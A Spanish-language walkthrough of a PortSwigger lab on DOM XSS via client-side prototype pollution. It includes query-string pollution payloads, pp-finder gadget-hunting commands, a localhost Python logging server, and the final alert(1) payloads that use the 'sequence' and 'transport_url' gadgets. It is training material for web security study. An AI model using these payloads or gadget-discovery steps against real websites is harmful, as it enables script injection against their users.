DOM XSS via an alternative prototype pollution vector
Laboratorio de Portswigger sobre Prototype Pollution
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio es vulnerable a DOM XSS a través de un prototype pollution del lado del cliente. Para resolver el laboratorio debemos encontrar una fuente que podamos usar para añadir propiedades arbitrarias al prototipo global Object.prototype, identificar una gadget que nos permita ejecutar código JavaScript arbitrario y combinar estas dos cosas para ejecutar alert()
Resolución
Al acceder a la web vemos esto
Lo primero que vamos a hacer es intentar inyectar una propiedad arbitraria a través de la cadena de consulta
1
https://0aeb0038032f073c815612f4002600ff.web-security-academy.net/?__proto__[foo]=bar
Lo siguiente que vamos a hacer es abrirnos la consola del navegador e inspeccionar el Object.prototype para ver si lo hemos contaminado correctamente con la propiedad arbitraria. Como podemos ver, no hemos conseguido contaminar la propiedad
No pasa nada si esto pasa, ya que hay diferentes formas de contaminar el prototipo. He probado esta forma alternativa de contaminar el prototipo, y ha funcionado
1
https://0aeb0038032f073c815612f4002600ff.web-security-academy.net/?__proto__.foo=bar
El siguiente paso es buscar un gadget, para ello, abrimos la pestaña Network y filtramos por JS. En nuestro caso, solo nos interesan los archivos js que carga el dominio
A continuación, nos abrimos el Logger de Burspuite y vemos como se cargan los archivos js
El siguiente paso que debemos hacer es descargar estos archivos js y usar pp-finder https://github.com/yeswehack/pp-finder.git para detectar posibles gadgets. Es importante que los archivos js no contengan comentarios y que PPF_WRAPPER_NAME no coincida con el nombre de ninguna variable, de lo contrario, obtendremos un error
1
PPF_WRAPPER_NAME="searchLoggerAlternative_js_file" npx pp-finder compile --agent browser searchLoggerAlternative.js -o searchLoggerAlternative_compiled.js
1
PPF_WRAPPER_NAME="jquery_parseparams_js_file" npx pp-finder compile --agent browser jquery_parseparams.js -o jquery_parseparams_compiled.js
1
PPF_WRAPPER_NAME="jquery_3-0-0_js_file" npx pp-finder compile --agent browser jquery_3-0-0.js -o jquery_3-0-0_compiled.js
El siguiente paso es usar este comando sobre todos los archivos js compilados para que cuando nos muestre los gadgets que ha encontrado, sepamos a que archivo js pertenecen. Antes de ejecutar este comando es importante que los archivos no tengan en el nombre caracteres que no se puedan usar en nombres de variables, de lo contrario nos dará un error cuando abramos la consola del navegador
1
for f in *_compiled.js; do NAME=$(basename "$f" _compiled.js); sed -i "s|\`\[%cPP%c\]\[%c\${op}%c\] %c\${JSON.stringify(key \|\| \"_\")}%cat \${path} \${loc}\`|\`\[$NAME\]\[%cPP%c\]\[%c\${op}%c\] %c\${JSON.stringify(key \|\| \"_\")}%cat \${path} \${loc}\`|g" "$f"; done
También tenemos que ejecutar este comando, para que además de mostrarse en la consola del navegador los gadgets encontrados, nos los guarde en un archivo
1
sed -i 's/console\.log(\.\.\.format(arg));/const formatted = format(arg); console.log(...formatted); fetch("http:\/\/localhost:9090\/log", {method:"POST",headers:{"Content-Type":"text\/plain"},body:formatted[0].replace(\/%c\/g,"")}).catch(()=>{});/' *_compiled.js
Una vez hecho lo anterior, vamos a crearnos un archivo con este contenido que se llame server.py. Esto lo hacemos porque la consola del navegador tiene un límite de contenido a mostrar y porque de esta forma también obtenemos un diccionario con todos los posibles gadgets detectados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import re
LOG_FILE = "logs.txt"
GADGETS_FILE = "gadgets.txt"
def extract_gadget(line):
match = re.search(r'"([^"]+)"', line)
return match.group(1) if match else None
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers["Content-Length"])
line = self.rfile.read(length).decode()
with open(LOG_FILE, "a") as f:
f.write(line + "\n")
gadget = extract_gadget(line)
if gadget:
with open(GADGETS_FILE, "a+") as f:
f.seek(0)
if gadget not in f.read().splitlines():
f.write(gadget + "\n")
print(line)
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
def do_OPTIONS(self):
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.send_header("Access-Control-Allow-Methods", "POST, OPTIONS")
self.end_headers()
def log_message(self, *args):
pass
HTTPServer(("localhost", 9090), Handler).serve_forever()
Ejecutamos el script
1
python server.py
Una vez tenemos estos archivos tenemos que dirigirnos a Burpsuite > Proxy settings y habilitar la checkbox que dice Intercept responses based on the following rules
Lo siguiente que vamos a hacer es crear una regex para aplicar estas sustituciones. En nuestro caso los archivos js están en el body de la response, por lo que debemos seleccionar la opción Response body
1
<script src='/resources/js/jquery_3-0-0.js'></script>
1
<script>Pegar el contenido de jquery_3-0-0_compiled.js aquí dentro</script>
1
<script src='/resources/js/jquery_parseparams.js'></script>
1
<script>Pegar el contenido de jquery_parseparams_compiled.js aquí dentro</script>
1
<script src='/resources/js/searchLoggerAlternative.js'></script>
1
<script>Pegar el contenido de searchLoggerAlternative_compiled.js aquí dentro</script>
Una vez hecho esto, tunelizamos el tráfico del navegador a través del proxy para que nos aplique las sustituciones, nos abrimos la consola en el navegador y vemos que en los archivos searchLoggerAlternative y jquery_3_0_0 hay posibles gadgets
Lo siguiente que debemos de hacer es desactivar el Match and replace de Burpsuite, abrir la web en una nueva pestaña, abrir la consola de desarrollador y dirigirnos a aquí
Una vez estamos aquí, pulsamos Ctrl + G y ponemos esto 15:21, para ir a la línea 15 y a la columna 21
Esto nos lleva a esta línea
Si añadimos un breakpoint en la línea 15, hacemos una petición a esta URL https://0a3600eb0307235780e90d3000870074.web-security-academy.net/?__proto__.sequence=bar y hacemos hover sobre sequence, `vemos que el valor que hemos inyectado ha llegado correctamente a la propiedad sequence
Si quitamos el breakpoint y recargamos la web, vemos que nos reporta un error en la consola
Si hacemos click sobre el link nos llevará exactamente a la línea en la que se produce el error. Para ver que valor llega hasta esa línea vamos a setear un breakpoint y a recargar la página
Si hacemos hover sobre sequence vemos que el valor que llega es bar1
Esto se debe a lo que está pasando aquí. Es decir, se le está intentado sumar 1 al valor de manager.sequence
Una vez sabemos esto ya podemos ejecutar un XSS, Para ello vamos a usar este payload alert(1)-. Ahora al acceder a https://0a3600eb0307235780e90d3000870074.web-security-academy.net/?__proto__.sequence=alert(1)- sí que se va a ejecutar el XSS, porque primero se produce el eval y luego posteriormente intentar hacer la resta
En nuestro caso es mejor usar una data URL porque no tenemos Exploit server en este laboratorio. Para ejecutar nuestro payload malicioso vamos a realizar una petición a https://0a3600eb0307235780e90d3000870074.web-security-academy.net/?__proto__[transport_url]=data:text/javascript,alert(1)




















